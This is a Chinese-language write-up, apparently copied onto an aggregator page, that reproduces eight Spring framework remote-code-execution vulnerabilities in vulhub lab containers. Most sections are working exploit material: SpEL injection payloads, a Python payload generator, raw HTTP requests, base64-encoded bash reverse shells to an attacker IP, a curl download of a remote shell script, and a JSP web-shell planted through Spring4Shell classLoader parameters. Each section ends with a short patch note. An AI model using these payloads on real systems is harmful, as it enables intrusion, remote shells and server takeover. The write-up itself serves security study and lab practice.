vulhub

您所在的位置:网站首页 反弹shell 编码 vulhub

vulhub

2023-07-30 01:07| 来源: 网络整理| 查看: 265

vulhub-spring漏洞复现

原文地址:https://silentx.gitee.io/2022/09/11/spring/

一.Spring Security OAuth2 远程命令执行漏洞 1.概述

漏洞成因:Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。

参考链接:https://blog.knownsec.com/2016/10/spring-security-oauth-rce/

2.环境搭建

2.1.使用vulhub的docker环境一键部署

systemctl start docker //启动docker git clone https://github.com/vulhub/vulhub.git //拉取vulhub靶场代码 cd /vulhub/spring/CVE-2016-4977 //进入CVE-2016-4977目录 docker-compose up -d //启动docker环境 docker-compose ps //查看服务端口 3.复现

3.1.测试漏洞是否存在

使用admin:admin登录,访问以下链接成功执行spel表达式

http://192.168.1.242:8080/oauth/authorize?response_type=${2*2}&client_id=acme&scope=openid&redirect_uri=http://test

在这里插入图片描述

3.2.漏洞利用

Java反弹shell,将命令进行base64编码

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTUyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}

使用py文件生成spel表达式

#!/usr/bin/env python message = input('Enter message to encode:') poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0]) for ch in message[1:]: poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch) poc += ')}' print(poc)

反弹shell成功

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vCtG5kzh-1663156910598)(https://silentx.gitee.io/img/29.4.png)]

4.防护

1.使用 1.0.x 版本的用户应放弃在认证通过和错误这两个页面中使用Whitelabel视图。 2.使用 2.0.x 版本的用户升级到 2.0.10 以及更高的版本

二.Spring WebFlow 远程代码执行漏洞 1.概述

Spring WebFlow 是一个适用于开发基于流程的应用程序的框架,可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。

参考链接:https://paper.seebug.org/322/

2.环境搭建

2.1.使用vulhub的docker环境一键部署

vulhub-master/spring/CVE-2017-4971/

3.漏洞复现

首先来到http://192.168.1.242:8080/login,使用左边账户密码登录

在Search String中输入1,查找编号为1的酒店,然后点击预定酒店,填写信息后,来到确定订单的界面。使用burp抓包,点击confirm。

在这里插入图片描述

添加url编码后反弹shell的poc

_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/192.168.1.152/6666 0>&1")).start()=aaa _(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.1.152/6666 0>%261")).start()=aaa #编码后的poc

反弹shell成功

_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.1.152/6666 0>%261")).start()=aaa #编码后的poc

4.防护

升级到2.4.6

三.Spring Data Rest 远程命令执行漏洞 1.概述

Spring Data REST是一个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中(实现RFC6902),path的值被传入setValue,导致执行了SpEL表达式,触发远程命令执行漏洞。

参考链接:[http://xxlegend.com/2017/09/29/Spring%20Data%20Rest服务器PATCH请求远程代码执行漏洞CVE-2017-8046补充分析/](http://xxlegend.com/2017/09/29/Spring Data Rest服务器PATCH请求远程代码执行漏洞CVE-2017-8046补充分析/)

2.环境搭建

2.1.使用vulhub的docker环境一键部署

vulhub-master/spring/CVE-2017-8046/

3.漏洞复现

访问http://192.168.1.242:8080/

在这里插入图片描述

使用py脚本将反弹shell的payload转为ASCII码

payload = b'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTUyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}' bcode = ','.join(str(i) for i in list(payload)) print(bcode)

发包

PATCH /customers/1 HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json-patch+json Content-Length: 202 [{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{ASCII encoded command}))/lastname", "value": "vulhub" }] [{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,69,117,77,84,85,121,76,122,89,50,78,106,89,103,77,68,52,109,77,81,61,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125}))/lastname", "value": "vulhub" }]

反弹shell成功

4.防护

升级到最新版本可防护漏洞

四.Spring Messaging 远程命令执行漏洞 1.概述

spring messaging为spring框架提供消息支持,其上层协议是STOMP,底层通信基于SockJS,在spring messaging中,其允许客户端订阅消息,并使用selector过滤消息。selector用SpEL表达式编写,并使用StandardEvaluationContext解析,造成命令执行漏洞。

参考链接:https://cert.360.cn/warning/detail?id=3efa573a1116c8e6eed3b47f78723f12

2.环境搭建

2.1.使用vulhub的docker环境一键部署

vulhub-master/spring/CVE-2018-1270/

3.漏洞复现

访问http://192.168.1.242:8080/,在浏览器数据包中找到app.js,更改connect()函数

在这里插入图片描述

function connect() { + var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('touch /1.txt')"}; var socket = new SockJS('/gs-guide-websocket'); stompClient = Stomp.over(socket); stompClient.connect({}, function (frame) { setConnected(true); console.log('Connected: ' + frame); stompClient.subscribe('/topic/greetings', function (greeting) { showGreeting(JSON.parse(greeting.body).content); + },header); }); }

将更改后的app.js中的代码复制出来,在浏览器concole中调试运行。然后在web页面点击连接后,在name处随便输入一些内容,最后发送。

在这里插入图片描述

在这里插入图片描述

成功创建1.txt

在这里插入图片描述

修改payload反弹shell

var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTUyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}')"};

同样修改app.js,浏览器控制台执行

在这里插入图片描述

反弹shell成功

4.防护

升级到最新版本可防护漏洞

五.Spring Data Commons 远程命令执行漏洞 1.概述

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

参考链接:https://baijiahao.baidu.com/s?id=1727365936415129211&wfr=spider&for=pc

2.环境搭建

2.1.使用vulhub的docker环境一键部署

vulhub-master/spring/CVE-2018-1273/

3.漏洞复现

访问http://192.168.1.242:8080/users,提交表单注册抓包。 在username字段后面插入payload

POST: username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("PAYLOAD")]=&password=&repeatedPassword=

在本地启一个python服务

python -m http.server 1234

通过curl使靶机远程下载反弹shell的脚本

bash -i >& /dev/tcp/192.168.1.152/6666 0>&1 # exp.sh curl -o /tmp/shell.sh http://192.168.1.152:1234/exp.sh

这里看到靶机已经发出get请求

继续发送payload赋予权限

chmod +x /tmp/shell.sh

最后执行shell文件

/bin/bash /tmp/shell.sh

反弹shell成功

4.防护

将pom.xml中的org.springframework.boot设置为1.13.11版本或更新版本。

六.Spring Cloud Gateway Actuator API SpEL表达式注入命令执行 1.概述

Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。

参考链接:http://cn-sec.com/archives/828187.html

2.环境搭建

2.1.使用vulhub的docker环境一键部署

vulhub-master/spring/CVE-2022-22947/

3.漏洞复现

发送如下数据包即可添加一个包含恶意SpEL表达式的路由

POST /actuator/gateway/routes/hacktest HTTP/1.1 Host: 192.168.1.242:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 329 { "id": "hacktest", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}" } }], "uri": "http://example.com" }

发送如下数据包刷新路由,这个数据包将触发SpEL表达式的执行

POST /actuator/gateway/refresh HTTP/1.1 Host: 192.168.1.242:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0

发送如下数据包即可查看执行结果

GET /actuator/gateway/routes/hacktest HTTP/1.1 Host: 192.168.1.242:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-corsBP9O-1663156910623)(https://silentx.gitee.io/img/29.24.png)]

删除路由

DELETE /actuator/gateway/routes/hacktest HTTP/1.1 Host: 192.168.1.242:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close

使用py脚本反弹shell

https://github.com/aodsec/CVE-2022-22947/blob/main/CVE-2022-22947.py

在这里插入图片描述

4.防护

3.1.x版本用户及时升级到3.1.1+ 3.0.x版本用户及时升级到3.0.7+

七.Spring Cloud Function SpEL表达式命令注入 1.概述

Spring Cloud Function 提供了一个通用的模型,用于在各种平台上部署基于函数的软件,包括像 Amazon AWS Lambda 这样的 FaaS(函数即服务,function as a service)平台。

参考链接:https://mp.weixin.qq.com/s/onYJWIESgLaWS64lCgsKdw

2.环境搭建

2.1.使用vulhub的docker环境一键部署

vulhub-master/spring/CVE-2022-22963/

3.漏洞复现

发包反弹shell

POST /functionRouter HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("exp") Content-Type: text/plain Content-Length: 4 test

反弹成功

4.防护

升级 org.springframework.cloud:spring-cloud-function-context 到 3.2.2 的下一版本

八.Spring框架Data Binding与JDK 9+导致的远程代码执行漏洞 1.概述

Spring framework 是Spring 里面的一个基础开源框架,其目的是用于简化 Java 企业级应用的开发难度和开发周期,2022年3月31日,VMware Tanzu发布漏洞报告,Spring Framework存在远程代码执行漏洞,在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击。

参考链接:https://blog.csdn.net/god_zzZ/article/details/124029497

2.环境搭建

2.1.使用vulhub的docker环境一键部署

vulhub-master/spring/CVE-2022-22965/

3.漏洞复现

http://192.168.1.242:8080/?name=xx&age=18

发包写入shell

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1 Host: 192.168.1.242:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close suffix: %>// c1: Runtime c2:


【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3